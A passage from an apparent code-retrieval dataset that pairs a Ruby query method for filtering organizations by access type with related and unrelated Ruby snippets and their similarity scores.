ArgumentError, \"Missing the required parameter 'id' when calling PaymentsTransactionsApi.get_transaction\"\n end\n # resource path\n local_var_path = \"/transactions/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentsTransactionsApi#get_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def txs_encode_post_with_http_info(tx, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.txs_encode_post ...'\n end\n # verify the required parameter 'tx' is set\n if @api_client.config.client_side_validation && tx.nil?\n fail ArgumentError, \"Missing the required parameter 'tx' when calling TransactionsApi.txs_encode_post\"\n end\n # resource path\n local_var_path = '/txs/encode'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(tx)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2003')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#txs_encode_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def build_bulk_query(index_name, type, id, attributes, parent = nil)\n attrs_to_json = ActiveSupport::JSON.encode(attributes).gsub(/\\n/, \" \")\n <<-eos\n { \"index\" : { \"_index\" : \"#{index_name}\", \"_type\" : \"#{type}\", \"_id\" : \"#{id}\"#{\", \\\"_parent\\\" : \\\"#{parent}\\\"\" if parent}, \"refresh\" : \"true\"} } \n #{attrs_to_json}\n eos\n end", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def build_query\n query = { key: @api_key }\n query.merge! @parameters if @parameters\n query.map { |k, v| \"#{k}=#{v}\" }.join('&')\n end", "def transaction_query(query, start_date, end_date)\n raise NoMethodError, \"transaction_query method will come soon\"\n end", "def transaction_params\n params.require(:transaction).permit(:amount, :trans_type, :status, :trans_from_id, :trans_to_id, :start_date, :end_date, :from_account_id, :to_account_id)\n end", "def get_transactions\n @transactions\n end", "def to_http_query\n\t\t\t\t\tparams = {\n\t\t\t\t\t\t'message' => @message,\n\t\t\t\t\t\t'msisdn' => @recipient,\n\t\t\t\t\t\t'msg_class' => @msg_class,\n\t\t\t\t\t\t'want_report' => @want_report,\n\t\t\t\t\t\t'routing_group' => @routing_group,\n\t\t\t\t\t\t'source_id' => @source_id,\n\t\t\t\t\t\t'test_always_succeed' => @test_always_succeed,\n\t\t\t\t\t\t'test_always_fail' => @test_always_fail,\n\t\t\t\t\t\t'allow_concat_text_sms' => @concat_text_sms,\n\t\t\t\t\t\t'concat_text_sms_max_parts' => @concat_max_parts\n\t\t\t\t\t}\n\t\t\t\t\tquery_string = params.collect { |x, y| \"#{x}=#{y}\" }.join('&')\n\t\t\t\t\tURI.encode(query_string)\n\t\t\t\tend", "def show_transactions\n @product = Product.find(params[:id])\n @transaction_details = @product.transaction_details.order(created_at: :desc).page(params[:page])\n end", "def format_params(params)\n \n # this is just used for multi_index search\n params[:indexes] ||= ['documents', 'people', 'topics', 'places' ]\n \n \n # return loaded models?\n params[:load] ||= true\n \n # will_paginate settings\n params[:page] ||= 1\n params[:per_page] ||= 25\n params[:offset] = ( ( params[:page].to_i - 1) * params[:per_page].to_i)\n\n # sort by\n params[:sort_by], params[:order_by] = params[:sort].split(\":\") if params[:sort]\n params[:order_by] = \"desc\" unless params[:order_by] == \"asc\"\n\n # facet filters and query\n params[:facet] ||= []\n params[:facet].compact!\n\n params[:request_query] = params[:q] ? params[:q].compact : \"*\"\n \n # facet filtering/limits\n params[:facet_filters] = params[:facet].collect do |f|\n facet, value = f.split(\":\")\n lambda { |boolean| boolean.must { term facet.to_sym, value } }\n end\n \n # facets to be returned\n params[:request_facets] ||= self.facets\n params[:facet_query] = {} \n params[:request_facets].each { |f| params[:facet_query][f] = params[:\"#{f}_page\"] ? ( ( params[:\"#{f}_page\"].to_i * 10 ) + 1 ) : 11 }\n \n return params\n end", "def get_transaction(tx_id:)\n client.make_request('/get-transaction', 'post', params: {tx_id: tx_id})\n end", "def txs_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.txs_get ...'\n end\n # resource path\n local_var_path = '/txs'\n\n # query parameters\n query_params = {}\n query_params[:'message.action'] = opts[:'message_action'] if !opts[:'message_action'].nil?\n query_params[:'message.sender'] = opts[:'message_sender'] if !opts[:'message_sender'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'tx.minheight'] = opts[:'tx_minheight'] if !opts[:'tx_minheight'].nil?\n query_params[:'tx.maxheight'] = opts[:'tx_maxheight'] if !opts[:'tx_maxheight'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PaginatedQueryTxs')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#txs_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def build_response!\n Accounts::TransactionsSerializer.new(account_model!, scope: transactions_count)\n end", "def transaction_params(order_id, total, store_name, tax, shipping, city, region, country, utmhid)\n {\n :utmwv => @utmwv,\n :utmn => @utmn,\n :utmhn => @utmhn,\n :utmt => 'tran',\n :utmcs => @utmcs,\n :utmul => @utmul,\n :utmhid => utmhid,\n :utmac => @utmac,\n :utmcc => @utmcc || cookie_params,\n :utmtid => order_id,\n :utmtst => store_name,\n :utmtto => total,\n :utmttx => tax,\n :utmtsp => shipping,\n :utmtci => city,\n :utmtrg => region,\n :utmtco => country,\n :utmr => @utmr,\n :utmip => @utmip\n }\n end" ]
[ "0.67708635", "0.67708635", "0.6380893", "0.60567796", "0.6037034", "0.60150945", "0.6001824", "0.59883994", "0.59402966", "0.5909381", "0.58636886", "0.5828", "0.5828", "0.57943815", "0.57943815", "0.5772859", "0.5729677", "0.56859046", "0.56569916", "0.56569916", "0.5568943", "0.55541086", "0.5541264", "0.5539366", "0.5536078", "0.5532959", "0.5532959", "0.5532959", "0.5530141", "0.55201924", "0.5504233", "0.54899836", "0.5483143", "0.5470905", "0.54316086", "0.54146755", "0.5391935", "0.5390598", "0.5371951", "0.5365777", "0.5362696", "0.5359503", "0.53537345", "0.53375965", "0.53375965", "0.5326811", "0.5312888", "0.5312888", "0.5310605", "0.5300003", "0.52968705", "0.52922535", "0.52893543", "0.52802706", "0.52783906", "0.5273164", "0.5263865", "0.52637756", "0.52616495", "0.5255431", "0.52549833", "0.5252293", "0.52478963", "0.5211904", "0.51982355", "0.51979136", "0.51935905", "0.5190585", "0.51899487", "0.5176483", "0.5172276", "0.5170831", "0.5170314", "0.5160981", "0.51556695", "0.51512414", "0.5149097", "0.5142686", "0.51420116", "0.5141292", "0.51405805", "0.5125747", "0.51228416", "0.512115", "0.51179695", "0.5103882", "0.5102007", "0.5100371", "0.5095641", "0.50945944", "0.50925505", "0.5084678", "0.507977", "0.50706893", "0.5069107", "0.5064927", "0.50644225", "0.50632054", "0.50610256", "0.5056823" ]
0.8425488
0
Returns an array of organizations based on the access_type parameter The default access_type is RESTRICTED
def organizations_with_access(access_type = ACCESS_STATES[:RESTRICTED]) subscribed_organizations.includes(teams: :subscriptions).where("subscriptions.access_type = ?", access_type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def org_types\n organizations.map(&:organization_type)\n end", "def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end", "def organizations(org_list = nil)\n if org_list\n return org_list if dashboard_type == 'template'\n org_list.to_a.select { |e| organization_ids.include?(e.uid) || organization_ids.include?(e.id) }\n else\n MnoEnterprise::Organization.where('uid.in' => organization_ids).to_a\n end\n end", "def own_organizations\n api.org_memberships.select { |org| org[:role] == \"admin\"}\n end", "def all_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper(false)).flatten\n end", "def active_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper).flatten\n end", "def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Code42::Org, :get, 'org', params)\n end", "def orgs\n client.organizations\n end", "def organizations\n orgs = []\n Organization.all.each do |o|\n orgs.push(Api::V1::OrganizationSerializer.new(o, @instance_options).attributes)\n end\n orgs\n end", "def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end", "def allowed_types\n\treturn [Organization]\nend", "def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end", "def GetOrgs params = {}\n\n params = params.merge(path: 'organizations.json')\n APICall(params)\n\n end", "def list_organizations\r\n Organization.organizations_by_user(self)\r\n end", "def organizations_in_coalition(coalition)\n orgs_by_coalition_id[coalition.id] || []\n end", "def orgs\n return @orgs if defined?(@orgs)\n\n @orgs = []\n orgs_from_annotations.each { |org| @orgs << org unless org_found(@orgs, org) }\n orgs_from_guidance_groups.each { |org| @orgs << org unless org_found(@orgs, org) }\n @orgs\n end", "def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end", "def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end", "def find_organizations\n Organization.all\n end", "def get_organizations\n org_references =\n locations.each_with_object({}) do |loc, acc|\n reference = loc.resource.managingOrganization.reference\n org_id = reference.match(ID_MATCHER)[1]\n\n acc[org_id] ||= []\n acc[org_id] << loc\n end\n\n facility_identifiers = org_references&.keys&.join(',')\n org_response = organization_service.search(_id: facility_identifiers, _count: '100')\n\n org_response&.resource&.entry\n end", "def index\n @orgs = policy_scope(Org)\n end", "def allowed_types\n [Organization]\nend", "def organisations\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [:org, RDF.type, Ruta::Class.organisation],\n [:org, RDF::FOAF.member, :mir],\n [:mir, Ruta::Property.has_member, uri]\n )\n orgs = []\n query.each_solution { |sol| orgs.push(sol.org.as(Organisation)) }\n orgs\n end", "def organizations_by_user(user)\n @organizations.values.select { |org| org.is_member?(user) }\n end", "def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end", "def orgs(enterprise = 'default')\n @api.orgs enterprise\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(do_request(grafana_options))\n rescue BackendError\n []\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(_do_request(grafana_options))\n rescue BackendError\n []\n end", "def organizations\n teams.map do |team|\n team.organization\n end.compact.uniq\n end", "def read_all(user_guid)\n organizations_list = []\n orgs_list = @client.organizations\n\n orgs_list.each do |org|\n owner = org.managers.find { |manager| manager.guid == user_guid }\n billing = org.billing_managers.find { |billing| billing.guid == user_guid }\n auditor = org.auditors.find { |auditor| auditor.guid == user_guid }\n\n if owner || billing || auditor\n organizations_list << Organization.new(org.name, 0, org.users.count, org.guid, false)\n end\n end\n\n organizations_list.sort! { |first_org, second_org| first_org.name.downcase <=> second_org.name.downcase }\n end", "def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n _do_request(grafana_options)\n rescue BackendError\n nil\n end", "def index\n return unless params[:type] == 'building'\n\n @organizations = @organizations.only_categories(%w[Fraternity Sorority Independent Blitz Concessions])\n end", "def get_organization(course)\n owners = course[\"owners\"]\n owners_array = []\n\n owners.each do |owner|\n owner[\"homepage_url\"].nil? ? url = owner[\"marketing_url\"] : url = owner[\"homepage_url\"]\n organization_hash = {}\n organization_hash[\"name\"] = owner[\"name\"]\n organization_hash[\"description\"] = owner[\"description\"]\n organization_hash[\"img\"] = owner[\"logo_image_url\"]\n organization_hash[\"url\"] = url\n owners_array << organization_hash\n end\n organization_hash = {}\n organization_hash[\"organizers\"] = owners_array\n organization_hash\n end", "def current_user_oganizations\n endpoint = '/api/user/orgs'\n @logger.debug(\"Getting current user organizations (GET #{endpoint})\") if @debug\n get(endpoint)\n end", "def organizations\n\t@organizations = Organization.all\n\t@organization_names = []\n\t@organizations.each do |o|\n\t\t@organization_names << o.name\n\tend\n\t\n\trespond_to do |format|\n\t\tformat.html { render :json => @organization_names }\n\tend\n end", "def index\n @orgs = Org.all\n end", "def list\n @connection.get('/user/orgs').map do |org_data|\n GitHubApi::Org.new(self, org_data)\n end\n end", "def getActiveOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#ST.active = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n orgs.push(item['id'])\n UI.important(item['id'])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend", "def index\n redirect_to :root unless current_user.is_admin?\n @organizations = Organization.all\n end", "def query_organizations(options = nil)\n require_relative 'telerivet/organization'\n self.cursor(Organization, get_base_api_path() + \"/organizations\", options)\n end", "def set_filtered_organizations\n scope = current_user.organizations.includes(:assignments, :group_assignments).filter_by_search(@query)\n\n scope = case @current_view_mode\n when \"Archived\" then scope.archived\n when \"Active\" then scope.not_archived\n else scope\n end\n\n @organizations = scope\n .order_by_sort_mode(@current_sort_mode)\n .order(:id)\n .page(params[:page])\n .per(12)\n end", "def organizations(flat = true)\n result = api_call(ROOT_ORGANIZATIONS)\n return nil if result.nil?\n\n orgs = result[:results]\n return orgs if flat\n\n idmap = {}\n parentmap = {}\n orgs.each do |o|\n oid = o['OrgID']\n idmap[oid] = o\n\n pid = o['OrgParentID']\n parentmap[pid] = [] unless parentmap.has_key?(pid)\n parentmap[pid] << oid\n end\n\n # OK, to build it we start with 0, which is the list of organizations that do not have a parent.\n # These are going to be at the root of the hash.\n\n rv = []\n parentmap[0].each do |oid|\n rv << make_organization(oid, idmap, parentmap)\n end\n\n rv\n end", "def set_visible_orgs\n @visible_orgs ||= Organization.find_by_user(logged_in_user.username)\n end", "def build_orgs(resp)\n doc = Nokogiri.parse(resp.to_str)\n build_items(doc, 'Org')\n end", "def index\n @organizations = Organization.all\n end", "def get_organisations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BlueOceanApi.get_organisations ...'\n end\n # resource path\n local_var_path = '/blue/rest/organizations/'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jenkins_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Organisations')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BlueOceanApi#get_organisations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @user_organizations = UserOrganization.all\n end", "def organization\n _get(\"/account/organization\") { |json| json }\n end", "def get_org_projects\n unless organization.nil?\n client.org_projects(organization)\n end\n end", "def orgs\n @orgs ||= ENV[\"GITHUB_ORGS\"].split(/, ?/).map { |o| Organization.new(o) }\n end", "def index\n @admins_organizations = Organization.all\n end", "def organization_list(organizations)\n organizations or return \"\"\n \n organizations.inject([]) do |s, unit|\n s << \"#{unit.aff_fullname}(#{unit.sta_fullname}\"\n end\n s.join(\", \")\n end", "def index\n @organizations = Spree::Organization.all\n end", "def get_facilities\n list = organizations.map { |org| org.resource.identifier.last.value }\n facilities_ids = list.join(',')\n\n facilities_request.get(facilities_ids)\n end", "def general_user_organizations_with_protocols\n Protocol.joins(:project_roles).where(project_roles: { identity_id: @id } ).where.not(project_roles: { project_rights: 'none' }).map(&:organizations).flatten.uniq\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def index\n @organizations = Organization.all\n end", "def all_groups\n groups + [organization]\n end", "def orgs\n @orgs = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # orgs.html.erb\n format.xml { render :xml => @orgs }\n end\n end", "def index\n @casa_orgs = CasaOrg.all\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def index\n @organisations = Organisation.where(type: nil).order(name: :asc)\n end", "def getInStoreOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#SE.in_stores = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n next unless (item[\"status\"][\"active\"] == true) && \\\n (item[\"id\"] != \"bfanteam\")\n\n orgs.push(item[\"id\"])\n UI.important(item[\"id\"])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend", "def find_organizations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationsApi#find_organizations ...\"\n end\n \n # resource path\n path = \"/organizations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'attribute'] = opts[:'attribute'] if opts[:'attribute']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<OrganizationComposite>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationsApi#find_organizations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def organizations\n positions.collect{|p| p.organization}.uniq.compact\n end", "def get_organization_and_check_permission\n @organization = current_user.is_cesia? ? ::Organization.find(params[:id]) : current_organization\n authorize @organization\n end", "def admin_organizations_with_protocols\n Organization.authorized_for_identity(@id).joins(:sub_service_requests)\n end", "def organizations\r\n OrganizationsController.instance\r\n end", "def allowed_types\n\t[Organization, Domain]\nend", "def index\n @organization_accounts = OrganizationAccount.all.sort_by(&:organization_name).reverse\n \n if user_signed_in? && current_user.admin?\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organization_accounts }\n end\n else\n redirect_to root_path\n end\n end", "def index\n @organizations = Organization.where(:id => current_user.organization_id)\n \n respond_with(@organizations)\n end", "def index\n @group_organizations = GroupOrganization.all\n end", "def get_organization_licenses(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'organization_id' => options['organization_id']\r\n )\r\n # Prepare query url.\r\n _path_url = '/organizations/{organizationId}/licenses'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'organizationId' => options['organization_id']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'perPage' => options['per_page'],\r\n 'startingAfter' => options['starting_after'],\r\n 'endingBefore' => options['ending_before'],\r\n 'deviceSerial' => options['device_serial'],\r\n 'networkId' => options['network_id'],\r\n 'state' => options['state']\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end", "def organizations_in_vercinity\n\n\tend", "def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end", "def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end", "def index\n # Get page number\n page = params[:page].nil? ? 1 : params[:page]\n\n if current_user.admin?\n @organizations = Organization.all.paginate(page: page, per_page: PAGE_COUNT)\n else\n if current_user.organization\n redirect_to current_user.organization\n else\n redirect_to new_organization_path\n end\n end\n end", "def organizations\n if Interface.first.nil?\n redirect_to root_url and return\n end\n\n respond_to do |format|\n format.html {\n render partial: 'organization'\n }\n end\n end", "def index\n @sourcing_orgs = SourcingOrg.all\n end", "def organization_roles\n roles = []\n\n if Figaro.env.respond_to?(:cf_organization_add_manager) &&\n Figaro.env.cf_organization_add_manager.downcase == 'true'\n roles << 'manager'\n end\n\n if Figaro.env.respond_to?(:cf_organization_add_billing_manager) &&\n Figaro.env.cf_organization_add_billing_manager.downcase == 'true'\n roles << 'billing_manager'\n end\n\n if Figaro.env.respond_to?(:cf_organization_add_auditor) &&\n Figaro.env.cf_organization_add_auditor.downcase == 'true'\n roles << 'auditor'\n end\n\n roles\n end", "def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end", "def index\n @organizations = Organization.by_query(params[:q])\n end", "def org_repos\n @org_repos ||= (\n talk 'org repos'\n logins = orgs.map { |org| org[:login] }\n\n logins.map do |login|\n talk \"repos for #{login}\"\n client.organization_repositories login.to_s\n end.flatten\n )\n end", "def admin_organization_stats\n get_admin_stats \"orgs\"\n end", "def index\n @clients_organizations = ClientsOrganization.all\n end", "def index\n @organization_profiles = policy_scope(OrganizationProfile).all\n authorize User\n end", "def competitors_organic_by_adwords params = {}\n request(params.merge(:report_type => :domain_organic_adwords))\n end", "def index\n @organizations = Organization.all\n respond_with(@organizations)\n end", "def selectable_access_types\n [['Unrestricted Access', 'open'], ['Controlled Access', 'restricted'], ['Other', 'closed']]\n end", "def index\n\t\t@organizations = Organization.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @organizations }\n\t\tend\n\tend", "def account_organization\n get('account/organization')\n end" ]
[ "0.70425206", "0.6999762", "0.6970571", "0.69672894", "0.69399387", "0.6893963", "0.68792397", "0.68784577", "0.68354774", "0.6817574", "0.6803949", "0.6763254", "0.6704545", "0.6701345", "0.66386974", "0.66380286", "0.663423", "0.6633815", "0.6632158", "0.66279954", "0.6624899", "0.662083", "0.6609203", "0.6572637", "0.657145", "0.6556899", "0.65368587", "0.652254", "0.6350427", "0.63478464", "0.6325295", "0.6322386", "0.62895554", "0.62569314", "0.62529826", "0.62498325", "0.62472606", "0.62334526", "0.62081444", "0.6187989", "0.6146301", "0.61375064", "0.613557", "0.61146593", "0.6089055", "0.60721594", "0.6068285", "0.60623217", "0.6058916", "0.6058045", "0.60461205", "0.60230374", "0.6009633", "0.60080105", "0.5998426", "0.59538335", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5935267", "0.5930325", "0.59198934", "0.591386", "0.59123135", "0.59123135", "0.59002906", "0.589676", "0.589597", "0.5894552", "0.58849615", "0.58526605", "0.5851832", "0.5841647", "0.5835025", "0.5830098", "0.5825382", "0.5821456", "0.58010995", "0.57990545", "0.57990545", "0.5798396", "0.57889545", "0.5787866", "0.57855093", "0.57793283", "0.5770647", "0.5755599", "0.57544905", "0.57439613", "0.57339215", "0.57201123", "0.5714709", "0.57106125", "0.5708033", "0.57042485" ]
0.767328
0
If we create a new article, the public list of articles must be regenerated
def after_create(article) #expire_public_page(params[:article], params[:group]) '/etc/cron.hourly/railsfix' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_article\n self.model = store._articles.buffer # creates buffer that assigns to a model which we change latetly\n page._new_article = true \n end", "def after_create(article)\n expire_public_page\n end", "def add_article(article)\n self.article_lists.create(:article_id => article.id)\n end", "def create_article\n Article.create_random_article\n redirect_to articles_url\n end", "def call\r\n\t\t\toutlet = Outlet.find_by(outlet_name: @article.name)\r\n\t\t\toutlet.total_records += 1 #This will be a nightmare to update if an article is deleted, need to change in future\r\n\t\t\tnew_article = outlet.articles.build(description: @article.description, outlet_name: @article.name,\r\n\t\t\t\t\t\t\t\t\t\t\tauthor: @article.author, title: @article.title, url: @article.url, urltoimage: @article.urlToImage,\r\n\t\t\t\t\t\t\t\t\t\t\tpublished_at: @article.publishedAt.to_datetime, record_number: outlet.total_records)\r\n\t\t\tbegin\r\n\t\t\t\toutlet.save\r\n\t\t\trescue => e\r\n\t\t\t\t#Fix this to also put error in logs\r\n\t\t\t\treturn false\r\n\t\t\tend\r\n\r\n\t\tend", "def create\n # Create a new article in memory (RAM)\n @article = Article.new(article_params)\n # Saves it to the database making it permanent until deleted\n if @article.save\n # Redirects the article to \"show\" action for the @article\n redirect_to @article\n else\n render 'new'\n end\n end", "def create\n @article = Article.new(params[:article])\n @article.user_id = current_user.id\n\n #if @article.approved\n #@article.article_editors.create({:user_id => current_user.id})\n #end\n\n respond_to do |format|\n if @article.save\n flash[:notice] = 'Article was successfully created.'\n format.html { redirect_to(@article) }\n format.xml { render :xml => @article, :status => :created, :location => @article }\n expire_fragment :action => 'index', :action_suffix => 'all_articles'\n expire_fragment :action_suffix => 'top_article'\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end", "def fetch_articles(url)\n req = open(url)\n response_body = req.read\n articles_json = JSON.parse(response_body)\n articles_array = articles_json[\"articles\"]\n last_articles = []\n articles_array.each do |a|\n article = Article.find_by(title:a[\"title\"])\n unless article #check if article is already in the database\n author = a[\"author\"].blank? ? a[\"source\"][\"name\"] : a[\"author\"]\n article = Article.new(title:a[\"title\"],author: author,source:a[\"source\"][\"name\"],url:a[\"url\"],date:a[\"publishedAt\"],content:a[\"content\"] || \"no content 